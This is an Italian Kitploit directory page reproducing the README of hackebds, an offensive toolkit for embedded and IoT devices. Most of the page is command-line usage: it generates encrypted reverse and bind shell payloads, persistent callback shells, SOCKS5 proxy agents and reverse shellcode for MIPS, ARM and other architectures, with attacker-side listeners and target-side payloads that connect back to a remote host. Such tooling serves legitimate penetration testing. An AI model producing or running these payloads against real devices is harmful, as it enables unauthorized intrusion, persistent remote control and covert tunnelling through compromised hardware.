Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
hackEmbedded — Questo strumento viene utilizzato per la crittografia di backdoor, la generazione di shellcode e proxy socks5, il recupero di informazioni e la disposizione di POC per dispositivi di varie architetture. | Kitploit
Strumenti/GitHubGitHub/doudoudedi/hackembedded
Sicurezza Sistemi EmbeddedStrumenti di Crittografia/DecrittografiaSicurezza IoTGenerazione di PayloadExploitReverse EngineeringShellcodePenetration TestingCommand and ControlStrumento di Accesso RemotoAnalisi del Firmware
2073226 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHub
doudoudedi/hackembedded

hackEmbedded

Questo strumento viene utilizzato per la crittografia di backdoor, la generazione di shellcode e proxy socks5, il recupero di informazioni e la disposizione di POC per dispositivi di varie architetture.

Vedi Repository

hackebds

PyPI - WheelPyPI - Python Version Downloads PyPI - Downloads

🔗readme cinese

Panoramica

hackebds è un toolkit per la generazione di payload per dispositivi embedded, flussi di shell criptate, tunneling proxy SOCKS5 e ricerca di informazioni sui dispositivi.

Il ramo corrente utilizza un flusso di lavoro puro ELF per le funzionalità di shell criptata e proxy:

  • reverse_shell_file + encrypted_shell_server / reverse_shell_server
  • bind_shell + bind_shell_client
  • reverse_proxy_file + reverse_proxy_server
  • forward_proxy_file

Novità della nuova versione

  • Aggiunta reverse shell criptata e bind shell criptata per le architetture supportate nell'albero corrente
  • Aggiunto encrypted_shell_server / reverse_shell_server listener ELF in modo che le reverse shell criptate possano essere ricevute senza handler Python runtime
  • Aggiunto bind_shell_client connettore ELF per bind_shell
  • Aggiunti flussi di lavoro ELF per reverse SOCKS5 proxy e forward SOCKS5 proxy
  • Aggiunte scelte di cifratura aes e chacha20 per il traffico di shell/proxy criptato
  • Aggiunto -bind_ip per binari ELF lato listener come bind_shell, encrypted_shell_server, reverse_proxy_server e forward_proxy_file
  • Mantenuti reverse_shell_file e come payload in uscita: utilizzano e non legano un IP listener locale

Installazione

root@kitploit:~
python3 -m pip install -U hackebds

Installazione per sviluppo locale:

root@kitploit:~
git clone https://github.com/doudoudedi/hackEmbedded
cd hackEmbedded
python3 -m pip install -e .

Compilare su un'altra macchina

Se si ricostruiscono le wheel di rilascio su un altro host, usare il zip sorgente e build_release.py.

root@kitploit:~
unzip hackebds-0.4.3-source-for-x86-build.zip
cd hackebds-0.4.0.backup-20260411T142751Z
python3 -m pip install -U pip setuptools wheel cython
python3 build_release.py --plat manylinux2014_x86_64

Binutils richiesti

Installare i binutils per l'architettura target prima di generare file ELF non nativi.

root@kitploit:~
sudo apt install binutils-aarch64-linux-gnu
sudo apt install binutils-arm-linux-gnueabi
sudo apt install binutils-mips-linux-gnu
sudo apt install binutils-mipsel-linux-gnu
sudo apt install binutils-mips64-linux-gnuabi64
sudo apt install binutils-mips64el-linux-gnuabi64
sudo apt install binutils-powerpc-linux-gnu
sudo apt install binutils-riscv64-linux-gnu

Gli utenti macOS possono usare i binutils di pwntools:

root@kitploit:~
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/osx/binutils-$ARCH.rb

Esempi di utilizzo

1. Reverse Shell criptata

Lato attaccante:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_server.elf

chmod +x reverse_server.elf
./reverse_server.elf

Lato target:

root@kitploit:~
hackebds -arch mipsel -res reverse_shell_file \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_payload.elf

chmod +x reverse_payload.elf
./reverse_payload.elf

Note:

  • reverse_shell_file non supporta -bind_ip
  • encrypted_shell_server supporta -bind_ip
  • cambiare -cipher chacha20 in -cipher aes per usare AES

2. Bind Shell criptata

Lato target:

root@kitploit:~
hackebds -arch aarch64 -res bind_shell \
  -bind_port 5555 \
  -bind_ip 192.168.56.20 \
  -passwd "s3cr3t" \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_shell.elf

chmod +x bind_shell.elf
./bind_shell.elf

Lato attaccante:

root@kitploit:~
hackebds -arch x64 -res bind_shell_client \
  -reverse_ip 192.168.56.20 -reverse_port 5555 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename bind_client.elf

chmod +x bind_client.elf
./bind_client.elf

Quindi inserire:

root@kitploit:~
s3cr3t
id
uname -a
exit

3. Reverse Shell persistente

Listener:

root@kitploit:~
hackebds -arch x64 -res encrypted_shell_server --power \
  -reverse_port 4444 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_server.elf

./power_server.elf

Payload:

root@kitploit:~
hackebds -arch armelv7 -res reverse_shell_file --power -sleep 10 \
  -reverse_ip 192.168.56.1 -reverse_port 4444 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename power_payload.elf

4. Reverse SOCKS5 Proxy criptato

Server:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_server.elf

chmod +x reverse_proxy_server.elf
./reverse_proxy_server.elf

Agente:

root@kitploit:~
hackebds -arch mips64el -res reverse_proxy_file \
  -reverse_ip 192.168.56.1 -reverse_port 7000 \
  -cipher chacha20 -encrypt_key "demo-key" \
  -filename reverse_proxy_agent.elf

chmod +x reverse_proxy_agent.elf
./reverse_proxy_agent.elf

Test:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1080 http://example.com/

Server con autenticazione:

root@kitploit:~
hackebds -arch x64 -res reverse_proxy_server \
  -agent_port 7000 -socks_port 1080 \
  -bind_ip 192.168.56.1 \
  -socks_auth user:pass \
  -cipher aes -encrypt_key "demo-key" \
  -filename reverse_proxy_server_auth.elf

Nota UDP:

  • reverse SOCKS5 proxy ha supporto UDP sui percorsi proxy non SPARC implementati
  • sparc / sparc64 non devono essere considerati supportati per UDP

5. Forward SOCKS5 Proxy

root@kitploit:~
hackebds -arch x64 -res forward_proxy_file \
  -listen_port 1081 \
  -bind_ip 192.168.56.1 \
  -filename forward_proxy.elf

chmod +x forward_proxy.elf
./forward_proxy.elf

Test:

root@kitploit:~
curl --socks5-hostname 127.0.0.1:1081 http://example.com/

6. Reverse shellcode

root@kitploit:~
hackebds -arch armelv7 -res reverse_shellcode \
  -reverse_ip 192.168.56.1 -reverse_port 4444

7. Usare -model

root@kitploit:~
hackebds -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -model DIR-816 -res reverse_shell_file

8. Usare --mcpu

root@kitploit:~
hackebds -mcpu mips32r2 -li -arch mipsel \
  -reverse_ip 127.0.0.1 -reverse_port 9999 \
  -res reverse_shell_file

9. Usare --firmware

root@kitploit:~
hackebds --firmware ./firmware.bin

Note

  • -bind_ip è solo per file ELF lato listener
  • reverse_shell_file e reverse_proxy_file sono payload in uscita e non legano un IP listener locale
  • reverse_proxy_server e forward_proxy_file supportano -bind_ip
  • gli esempi di shell/proxy criptati funzionano sia con chacha20 che con aes, purché entrambi i lati corrispondano
Scarica lo strumento
reverse_proxy_file
-reverse_ip